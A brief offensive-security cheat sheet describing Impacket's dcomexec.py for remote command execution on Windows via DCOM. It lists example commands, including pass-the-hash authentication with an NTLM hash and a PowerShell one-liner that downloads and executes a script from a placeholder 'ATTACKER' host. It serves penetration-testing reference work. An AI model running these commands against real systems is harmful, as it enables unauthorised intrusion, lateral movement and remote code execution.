Summery
dcomexec.py is an Impacket tool for remotely executing commands on Windows using Distributed Component Object Model (DCOM). It abuses available DCOM objects to execute commands on the target, typically through a remote COM connection. It generally requires administrative privileges on the target.
Commands
dcomexec.py DOMAIN/USER:PASSWORD@TARGET "cmd.exe /c whoami" - Basic syntax and execute a command.
dcomexec.py -hashes :NTHASH DOMAIN/USER@TARGET "cmd.exe /c whoami" - Authenticate using an NTLM hash.
dcomexec.py DOMAIN/USER:PASSWORD@TARGET "C:\Temp\payload.exe" - Execute a program already present on the remote host.
dcomexec.py DOMAIN/USER:PASSWORD@TARGET "powershell.exe -c IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1'))" - Download and execute remote PowerShell code.